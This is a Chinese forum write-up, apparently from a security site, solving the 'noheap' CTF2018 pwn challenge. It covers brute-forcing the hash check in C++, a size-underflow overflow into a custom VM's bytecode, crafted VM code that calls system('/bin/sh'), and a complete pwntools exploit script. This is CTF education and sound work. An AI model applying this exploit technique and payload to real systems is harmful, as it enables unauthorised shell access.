首页
论坛
课程
招聘
[原创]CTF2018第六题分析(qwertyaa)
2018-6-26 18:53 2128

[原创]CTF2018第六题分析(qwertyaa)

2018-6-26 18:53
2128

通过验证

启动程序,首先给你一个串的hash,要你输入对应的串(这个串由获取自/dev/urandom的随机字节生成)。

 

这里随机产生的串一共有43^4种可能,这个数字不大,可以进行暴力枚举,将得到的串的hash与给出hash比对,如果相同就可认为暴力产生的串是这个hash所对应的原串。

 

这里我用C++来暴力:

#include <cstdio>
using namespace std;
typedef unsigned int uint;
typedef unsigned char uchar;
uint getHash(uchar *a1, int a2)
{
  unsigned char *v2; // rax
  int v4; // [rsp+0h] [rbp-1Ch]
  unsigned char *v5; // [rsp+4h] [rbp-18h]
  unsigned int v6; // [rsp+14h] [rbp-8h]

  v5 = a1;
  v4 = a2;
  v6 = 0;
  do
  {
    v2 = v5++;
    v6 = 131 * v6 + *v2;
    --v4;
  }
  while ( v4 > 0 );
  return v6;
}
int main(){
    uint d;
    scanf("%x",&d);
    uint buf[3];
    buf[2]=0;
    for(int i=0;i<0x2b;i++){
        uint v2 = i + 48;
        for(int j=0;j<0x2b;j++){
            uint v3 = (v2 << 8) + j + 48;
            for(int k=0;k<0x2b;k++){
                uint v4 = (v3 << 8) + k + 48;
                for(int l=0;l<0x2b;l++){
                    uint v5 = (v4 << 8) + l + 48;
                    buf[0]=v5 = 214013 * v5 + 2531011;
                    buf[1]=v5 = 214013 * v5 + 2531011;
                    if(d==getHash((uchar*)buf, 8)){
                        puts((char*)buf);
                    }
                }
            }
        }
    }
    puts("aa");
    return 0;
}

寻找漏洞

输入正确串后,我们发现其提供了Malloc、Show、Free、Exit四个功能,这令人联想到去年的几个pwn,但事实上正如题目名称所言,这道题和在heap中申请内存无关(noheap)。

 

我们跟踪程序,发现程序中有这样的内容:

      v1 = qword_2030C0[~((unsigned __int8)v3 - 1LL) - 7] ^ qword_2030C0[~((unsigned __int8)v3 - 1LL) - 2];
      v2 = qword_2030C0[-11] ^ qword_2030C0[-6];
      JUMPOUT(__CS__, qword_2030C0[-7] ^ qword_2030C0[-12]);

这里的几个全局变量在.init_array处已经初始化:

unsigned __int64 sub_CB5()
{
  signed int i; // [rsp+8h] [rbp-28h]
  int fd; // [rsp+Ch] [rbp-24h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  fd = open("/dev/urandom", 0);
  for ( i = 0; i <= 4; ++i )
    read(fd, (char *)qword_2030C0 - 64LL - 8 * i, 8uLL);
  unk_2030A8 = unk_203080 ^ (unsigned __int64)sub_15E4;
  unk_2030A0 = unk_203078 ^ (unsigned __int64)sub_16AD;
  unk_203098 = unk_203070 ^ (unsigned __int64)sub_1728;
  unk_203090 = unk_203068 ^ (unsigned __int64)&loc_1478;
  unk_203088 = unk_203060 ^ (unsigned __int64)sub_1107;
  qword_203140 = 73750906387235585LL;
  qword_203148 = 4611710289321202697LL;
  dword_203150 = 0;
  word_203154 = 0;
  byte_203156 = 0;
  close(fd);
  return __readfsqword(0x28u) ^ v3;
}

我们发现这里的几个值其实都是一些指向函数的常指针经/dev/urandom产生的随机串异或加密得来,并且在sub_1470处会自动解密。

 

接下来代码跳转到sub_1107,这里有点难分析,但既然知道这几个操作必然和mallocfreewrtie有关,直接从这些函数处用Xref倒着来,我们就可以找到相关函数了。

 

正如刚才所言free处的代码似乎没什么问题,于是把关键放在malloc处:

unsigned int sub_15E4()
{
  unsigned int result; // eax
  __int64 n; // ST28_8
  __int64 v2; // [rsp+18h] [rbp-18h]
  void *dest; // [rsp+20h] [rbp-10h]

  printf("Size :");
  result = sub_1547();
  v2 = result;
  if ( result <= 0x80uLL )
  {
    dest = malloc(result);
    if ( dest )
    {
      printf("Content :");
      n = sub_14F0(qword_2030C0, (unsigned __int8)(v2 - 1));
      memcpy(dest, qword_2030C0, n);
      qword_203240[0] = dest;
      result = (unsigned __int64)qword_203240;
      qword_203240[1] = v2;
    }
    else
    {
      result = puts("error.");
    }
  }
  return result;
}

这里的(unsigned __int8)(v2 - 1)造成了一个漏洞,如果我们键入的Size是0,显然,这里会读入0xff个字符,这超过了全局变量qword_2030C0的大小,我们可以借此修改qword_203140处的内容。

分析简单VM

qword_203140处的内容在.init_array处被初始化,这些部分内容有什么作用呢?排除其他函数后我们回到了sub_1107,而这个函数直接F5很难分析,不过既然是相对熟悉的x86_64代码,我们可以直接动态跟踪。

 

这里是一个Switch-Case结构,很容易让人想到这里其实是一个VM,而事实上我们可以发现qword_203140就是所执行的VM Code。

 

动态分析可知各个用到的指令的作用:

 

table

 

其中code为指向VM Code开头的指针;table为指向rbp-40的指针,也就是说我们可以传入64位值和访问stack中一部分内容。
以及整段代码的含义:

01 03
13 sub_1107
01 0f
04 get 40
06 get sub_1107+0x40
01 09
14 table[-9]=lastval
01 02
13 sub_OpById
16

 

这里到0x14前主要就是将接下来跳转到函数内时的[rsp]改为sub_1107+0x40。
0x14后主要就是跳转到 sub_OpById(即sub_1470中指定的v1)。

 

主要进行的就是如下两个操作:将栈中一个元素改为另一个元素+x(x可为任意64位值)和跳转到栈中指定元素。我们可以由此构造VM Code。

构造VM Code

在Malloc处的"Content"中输入"a"*0x80后可输入如下的VM Code(下面的[rsp]为接下来跳转时的[rsp]):

'\x01\x0e\x13\x01\x24\x04\x06\x01\x08\x14'#将[rsp]+0x8改为system所在地址
+'\x01\x0e\x13\x01\x2c\x04\x06\x01\x09\x14'#将[rsp]改为指向/bin/sh的地址
+'\x01\x0e\x13\x01\x34\x04\x06\x01\x02\x14\x01\x02\x13\x16\x00\x00'#跳转到 pop rdi;retn
+p64(0xFFFFFFFFFFC7EC10)#上述指令用到的64位值
+p64(0xFFFFFFFFFFDC65D7)
+p64(0xFFFFFFFFFFC5A982)
+"\x00"

其他注意点

  1. 由于程序调用了alarm,所以经常会有调试到一半被中断的情况。为了便于调试,我们可以跳过此调用。
  2. 由于shellcode中的地址由栈中其他地址生成,而其中一些栈中地址是残留的库函数局部变量,所以一定要在版本相同的库中进行调试。(而我相同版本的只有WSL,又不想安装新虚拟机,而WSL似乎不支持ida,最后我用上了gdb手动查看stack中的内容...)
  3. 可用socat tcp-l:9999,fork exec:./noheap来模拟远程的连接。
  4. 本题的flag中有回车符,复制到chrome、edge、firefox等浏览器时这个回车会被自动转换为空格,含空格的这个串是正确的flag;但是对于IE,复制到文本框时会自动截断回车及后面的内容,从而提交一个错误的flag。

完整exp如下(其中的./test为前面的C++程序编译后的可执行文件):

#!/usr/bin/env python
from pwn import *
import sys
context.arch = 'amd64'
if len(sys.argv) < 2:
    context.log_level = 'debug'
    p = process('./noheap')
else:
    p = remote(sys.argv[1], int(sys.argv[2]))

def exp():
    z=p.recvuntil('Input:')
    val=int(z[z.find("Hash:")+5:z.find("Hash:")+5+8],16)
    log.info(hex(val))
    aa=process('./test')
    aa.sendline(hex(val))
    p.send(aa.recvline())
    aa.recvline()
    p.recvuntil(">>")
    p.send("1")
    p.recvuntil("Size :")
    p.send("0")
    p.recvuntil("Content :")
    code="a"*0x80+'\x01\x0e\x13\x01\x24\x04\x06\x01\x08\x14'+'\x01\x0e\x13\x01\x2c\x04\x06\x01\x09\x14'+'\x01\x0e\x13\x01\x34\x04\x06\x01\x02\x14\x01\x02\x13\x16\x00\x00'+p64(0xFFFFFFFFFFC7EC10)+p64(0xFFFFFFFFFFDC65D7)+p64(0xFFFFFFFFFFC5A982)+"\x00"
    p.send(code)
    p.recvuntil(">>")
    p.send("1")
    p.interactive()

if __name__ == '__main__':
    exp()

[招聘] 欢迎你加入看雪团队!

最后于 2018-6-27 18:33 被qwertyaa编辑 ,原因: 补充
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回